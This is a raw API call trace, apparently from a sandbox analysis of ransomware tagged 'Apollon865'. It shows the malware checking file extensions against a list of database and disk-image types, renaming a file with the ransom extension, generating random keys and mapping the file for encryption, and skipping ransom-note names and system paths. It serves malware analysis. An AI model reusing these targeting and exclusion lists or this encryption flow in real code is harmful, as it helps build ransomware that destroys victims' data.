	[0082.042] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0082.042] lstrlenW (lpString="tgz") returned 3
	[0082.042] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0082.042] lstrlenW (lpString="vbox") returned 4
	[0082.042] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0082.042] lstrlenW (lpString="vdi") returned 3
	[0082.042] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0082.042] lstrlenW (lpString="vhd") returned 3
	[0082.042] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0082.042] lstrlenW (lpString="vhdx") returned 4
	[0082.042] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0082.042] lstrlenW (lpString="avhd") returned 4
	[0082.043] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0082.043] lstrlenW (lpString="db") returned 2
	[0082.043] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0082.043] lstrlenW (lpString="db2") returned 3
	[0082.043] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0082.043] lstrlenW (lpString="db3") returned 3
	[0082.043] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0082.043] lstrlenW (lpString="dbf") returned 3
	[0082.043] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0082.043] lstrlenW (lpString="mdf") returned 3
	[0082.043] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0082.043] lstrlenW (lpString="mdb") returned 3
	[0082.043] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0082.043] lstrlenW (lpString="sql") returned 3
	[0082.043] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0082.043] lstrlenW (lpString="sqlite") returned 6
	[0082.043] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0082.043] lstrlenW (lpString="sqlite3") returned 7
	[0082.043] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0082.043] lstrlenW (lpString="sqlitedb") returned 8
	[0082.043] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0082.043] lstrlenW (lpString="xml") returned 3
	[0082.043] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0082.043] lstrlenW (lpString="$er") returned 3
	[0082.043] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0082.043] lstrlenW (lpString="4dd") returned 3
	[0082.043] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0082.043] lstrlenW (lpString="4dl") returned 3
	[0082.043] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0082.043] lstrlenW (lpString="^^^") returned 3
	[0082.043] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0082.043] lstrlenW (lpString="abs") returned 3
	[0082.043] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0082.043] lstrlenW (lpString="abx") returned 3
	[0082.043] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0082.043] lstrlenW (lpString="accdb") returned 5
	[0082.043] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0082.044] lstrlenW (lpString="accdc") returned 5
	[0082.044] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0082.044] lstrlenW (lpString="accde") returned 5
	[0082.044] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0082.044] lstrlenW (lpString="accdr") returned 5
	[0082.044] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0082.044] lstrlenW (lpString="accdt") returned 5
	[0082.044] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0082.044] lstrlenW (lpString="accdw") returned 5
	[0082.044] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0082.044] lstrlenW (lpString="accft") returned 5
	[0082.044] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0082.044] lstrlenW (lpString="adb") returned 3
	[0082.044] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.044] lstrlenW (lpString="adb") returned 3
	[0082.044] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.044] lstrlenW (lpString="ade") returned 3
	[0082.044] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0082.044] lstrlenW (lpString="adf") returned 3
	[0082.044] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0082.044] lstrlenW (lpString="adn") returned 3
	[0082.044] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0082.044] lstrlenW (lpString="adp") returned 3
	[0082.044] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0082.044] lstrlenW (lpString="alf") returned 3
	[0082.044] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0082.044] lstrlenW (lpString="ask") returned 3
	[0082.044] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0082.044] lstrlenW (lpString="btr") returned 3
	[0082.044] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0082.044] lstrlenW (lpString="cat") returned 3
	[0082.044] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0082.044] lstrlenW (lpString="cdb") returned 3
	[0082.044] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0082.044] lstrlenW (lpString="ckp") returned 3
	[0082.044] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0082.044] lstrlenW (lpString="cma") returned 3
	[0082.044] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0082.045] lstrlenW (lpString="cpd") returned 3
	[0082.045] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0082.045] lstrlenW (lpString="dacpac") returned 6
	[0082.045] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0082.045] lstrlenW (lpString="dad") returned 3
	[0082.045] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0082.045] lstrlenW (lpString="dadiagrams") returned 10
	[0082.045] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0082.045] lstrlenW (lpString="daschema") returned 8
	[0082.045] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0082.045] lstrlenW (lpString="db-journal") returned 10
	[0082.045] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0082.045] lstrlenW (lpString="db-shm") returned 6
	[0082.045] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0082.045] lstrlenW (lpString="db-wal") returned 6
	[0082.045] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0082.045] lstrlenW (lpString="dbc") returned 3
	[0082.045] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0082.045] lstrlenW (lpString="dbs") returned 3
	[0082.045] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0082.045] lstrlenW (lpString="dbt") returned 3
	[0082.045] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0082.045] lstrlenW (lpString="dbv") returned 3
	[0082.045] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0082.045] lstrlenW (lpString="dbx") returned 3
	[0082.045] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0082.045] lstrlenW (lpString="dcb") returned 3
	[0082.045] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0082.045] lstrlenW (lpString="dct") returned 3
	[0082.045] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0082.045] lstrlenW (lpString="dcx") returned 3
	[0082.045] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0082.045] lstrlenW (lpString="ddl") returned 3
	[0082.045] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0082.045] lstrlenW (lpString="dlis") returned 4
	[0082.045] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0082.045] lstrlenW (lpString="dp1") returned 3
	[0082.046] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0082.046] lstrlenW (lpString="dqy") returned 3
	[0082.046] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0082.046] lstrlenW (lpString="dsk") returned 3
	[0082.046] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0082.046] lstrlenW (lpString="dsn") returned 3
	[0082.046] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0082.046] lstrlenW (lpString="dtsx") returned 4
	[0082.046] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0082.046] lstrlenW (lpString="dxl") returned 3
	[0082.046] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0082.046] lstrlenW (lpString="eco") returned 3
	[0082.046] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0082.046] lstrlenW (lpString="ecx") returned 3
	[0082.046] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0082.046] lstrlenW (lpString="edb") returned 3
	[0082.046] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0082.046] lstrlenW (lpString="epim") returned 4
	[0082.046] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0082.046] lstrlenW (lpString="fcd") returned 3
	[0082.046] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0082.046] lstrlenW (lpString="fdb") returned 3
	[0082.046] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0082.046] lstrlenW (lpString="fic") returned 3
	[0082.046] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0082.046] lstrlenW (lpString="flexolibrary") returned 12
	[0082.046] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0082.046] lstrlenW (lpString="fm5") returned 3
	[0082.046] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0082.046] lstrlenW (lpString="fmp") returned 3
	[0082.046] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0082.046] lstrlenW (lpString="fmp12") returned 5
	[0082.046] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0082.046] lstrlenW (lpString="fmpsl") returned 5
	[0082.046] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0082.046] lstrlenW (lpString="fol") returned 3
	[0082.046] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0082.047] lstrlenW (lpString="fp3") returned 3
	[0082.047] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0082.047] lstrlenW (lpString="fp4") returned 3
	[0082.047] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0082.047] lstrlenW (lpString="fp5") returned 3
	[0082.047] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0082.047] lstrlenW (lpString="fp7") returned 3
	[0082.047] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0082.047] lstrlenW (lpString="fpt") returned 3
	[0082.047] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0082.047] lstrlenW (lpString="frm") returned 3
	[0082.047] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0082.047] lstrlenW (lpString="gdb") returned 3
	[0082.047] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.047] lstrlenW (lpString="gdb") returned 3
	[0082.047] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.047] lstrlenW (lpString="grdb") returned 4
	[0082.047] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0082.047] lstrlenW (lpString="gwi") returned 3
	[0082.047] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0082.047] lstrlenW (lpString="hdb") returned 3
	[0082.047] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0082.047] lstrlenW (lpString="his") returned 3
	[0082.047] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0082.047] lstrlenW (lpString="ib") returned 2
	[0082.047] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0082.047] lstrlenW (lpString="idb") returned 3
	[0082.047] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0082.047] lstrlenW (lpString="ihx") returned 3
	[0082.047] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0082.047] lstrlenW (lpString="itdb") returned 4
	[0082.047] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0082.047] lstrlenW (lpString="itw") returned 3
	[0082.047] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0082.047] lstrlenW (lpString="jet") returned 3
	[0082.047] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0082.047] lstrlenW (lpString="jtx") returned 3
	[0082.047] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0082.048] lstrlenW (lpString="kdb") returned 3
	[0082.048] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0082.048] lstrlenW (lpString="kexi") returned 4
	[0082.048] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0082.048] lstrlenW (lpString="kexic") returned 5
	[0082.048] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0082.048] lstrlenW (lpString="kexis") returned 5
	[0082.048] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0082.048] lstrlenW (lpString="lgc") returned 3
	[0082.048] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0082.048] lstrlenW (lpString="lwx") returned 3
	[0082.048] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0082.048] lstrlenW (lpString="maf") returned 3
	[0082.048] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0082.048] lstrlenW (lpString="maq") returned 3
	[0082.048] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0082.048] lstrlenW (lpString="mar") returned 3
	[0082.048] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0082.048] lstrlenW (lpString="marshal") returned 7
	[0082.048] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0082.048] lstrlenW (lpString="mas") returned 3
	[0082.048] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0082.048] lstrlenW (lpString="mav") returned 3
	[0082.048] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0082.048] lstrlenW (lpString="maw") returned 3
	[0082.048] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0082.048] lstrlenW (lpString="mdbhtml") returned 7
	[0082.048] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0082.048] lstrlenW (lpString="mdn") returned 3
	[0082.048] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0082.048] lstrlenW (lpString="mdt") returned 3
	[0082.048] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0082.048] lstrlenW (lpString="mfd") returned 3
	[0082.048] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0082.048] lstrlenW (lpString="mpd") returned 3
	[0082.048] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0082.048] lstrlenW (lpString="mrg") returned 3
	[0082.048] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0082.049] lstrlenW (lpString="mud") returned 3
	[0082.049] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0082.049] lstrlenW (lpString="mwb") returned 3
	[0082.049] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0082.049] lstrlenW (lpString="myd") returned 3
	[0082.049] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0082.049] lstrlenW (lpString="ndf") returned 3
	[0082.049] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0082.049] lstrlenW (lpString="nnt") returned 3
	[0082.049] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0082.049] lstrlenW (lpString="nrmlib") returned 6
	[0082.049] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0082.049] lstrlenW (lpString="ns2") returned 3
	[0082.049] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0082.049] lstrlenW (lpString="ns3") returned 3
	[0082.049] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0082.049] lstrlenW (lpString="ns4") returned 3
	[0082.049] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0082.049] lstrlenW (lpString="nsf") returned 3
	[0082.049] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0082.049] lstrlenW (lpString="nv") returned 2
	[0082.049] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0082.049] lstrlenW (lpString="nv2") returned 3
	[0082.049] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0082.049] lstrlenW (lpString="nwdb") returned 4
	[0082.049] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0082.049] lstrlenW (lpString="nyf") returned 3
	[0082.049] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0082.049] lstrlenW (lpString="odb") returned 3
	[0082.049] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.049] lstrlenW (lpString="odb") returned 3
	[0082.049] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.049] lstrlenW (lpString="oqy") returned 3
	[0082.049] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0082.049] lstrlenW (lpString="ora") returned 3
	[0082.049] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0082.050] lstrlenW (lpString="orx") returned 3
	[0082.050] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0082.050] lstrlenW (lpString="owc") returned 3
	[0082.050] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0082.050] lstrlenW (lpString="p96") returned 3
	[0082.050] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0082.050] lstrlenW (lpString="p97") returned 3
	[0082.050] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0082.050] lstrlenW (lpString="pan") returned 3
	[0082.050] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0082.050] lstrlenW (lpString="pdb") returned 3
	[0082.050] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0082.050] lstrlenW (lpString="pdm") returned 3
	[0082.050] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0082.050] lstrlenW (lpString="pnz") returned 3
	[0082.050] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0082.050] lstrlenW (lpString="qry") returned 3
	[0082.050] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0082.050] lstrlenW (lpString="qvd") returned 3
	[0082.050] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0082.050] lstrlenW (lpString="rbf") returned 3
	[0082.050] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0082.050] lstrlenW (lpString="rctd") returned 4
	[0082.050] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0082.050] lstrlenW (lpString="rod") returned 3
	[0082.050] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0082.050] lstrlenW (lpString="rodx") returned 4
	[0082.050] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0082.050] lstrlenW (lpString="rpd") returned 3
	[0082.050] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0082.050] lstrlenW (lpString="rsd") returned 3
	[0082.050] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0082.050] lstrlenW (lpString="sas7bdat") returned 8
	[0082.050] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0082.050] lstrlenW (lpString="sbf") returned 3
	[0082.050] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0082.051] lstrlenW (lpString="scx") returned 3
	[0082.051] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0082.051] lstrlenW (lpString="sdb") returned 3
	[0082.051] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0082.051] lstrlenW (lpString="sdc") returned 3
	[0082.051] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0082.051] lstrlenW (lpString="sdf") returned 3
	[0082.051] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0082.051] lstrlenW (lpString="sis") returned 3
	[0082.051] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0082.051] lstrlenW (lpString="spq") returned 3
	[0082.051] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0082.051] lstrlenW (lpString="te") returned 2
	[0082.051] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0082.051] lstrlenW (lpString="teacher") returned 7
	[0082.051] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0082.051] lstrlenW (lpString="tmd") returned 3
	[0082.051] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0082.051] lstrlenW (lpString="tps") returned 3
	[0082.051] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0082.051] lstrlenW (lpString="trc") returned 3
	[0082.051] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.051] lstrlenW (lpString="trc") returned 3
	[0082.051] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.051] lstrlenW (lpString="trm") returned 3
	[0082.051] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0082.051] lstrlenW (lpString="udb") returned 3
	[0082.051] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0082.051] lstrlenW (lpString="udl") returned 3
	[0082.051] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0082.051] lstrlenW (lpString="usr") returned 3
	[0082.051] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0082.051] lstrlenW (lpString="v12") returned 3
	[0082.051] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0082.051] lstrlenW (lpString="vis") returned 3
	[0082.051] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0082.051] lstrlenW (lpString="vpd") returned 3
	[0082.052] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0082.052] lstrlenW (lpString="vvv") returned 3
	[0082.052] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0082.052] lstrlenW (lpString="wdb") returned 3
	[0082.052] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0082.052] lstrlenW (lpString="wmdb") returned 4
	[0082.052] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0082.052] lstrlenW (lpString="wrk") returned 3
	[0082.052] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0082.052] lstrlenW (lpString="xdb") returned 3
	[0082.052] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0082.052] lstrlenW (lpString="xld") returned 3
	[0082.052] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0082.052] lstrlenW (lpString="xmlff") returned 5
	[0082.052] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0082.052] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll.Apollon865") returned 81
	[0082.052] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\stintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\stintl.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0082.061] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\stintl.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0082.062] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=17248) returned 1
	[0082.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0082.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0082.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0082.062] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0082.063] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0082.063] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.063] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4660, lpName=0x0) returned 0x15c
	[0082.065] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4660) returned 0x100000
	[0082.070] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0082.071] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0082.071] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0082.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0082.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0082.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0082.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0082.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0082.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0082.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0082.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0082.072] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0082.072] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0082.072] CloseHandle (hObject=0x15c) returned 1
	[0082.072] CloseHandle (hObject=0x9c) returned 1
	[0082.072] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0082.072] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0082.072] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0082.072] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf706700, ftCreationTime.dwHighDateTime=0x1cac81a, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbf706700, ftLastWriteTime.dwHighDateTime=0x1cac81a, nFileSizeHigh=0x0, nFileSizeLow=0x6960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISBRRES.DLL.trx_dll", cAlternateFileName="VISBRR~1.TRX")) returned 1
	[0082.072] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0082.072] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0082.073] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".") returned 1
	[0082.073] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="..") returned 1
	[0082.073] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="windows") returned -1
	[0082.073] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0082.073] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="temp") returned 1
	[0082.073] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="pagefile.sys") returned 1
	[0082.073] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="boot") returned 1
	[0082.073] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="ids.txt") returned 1
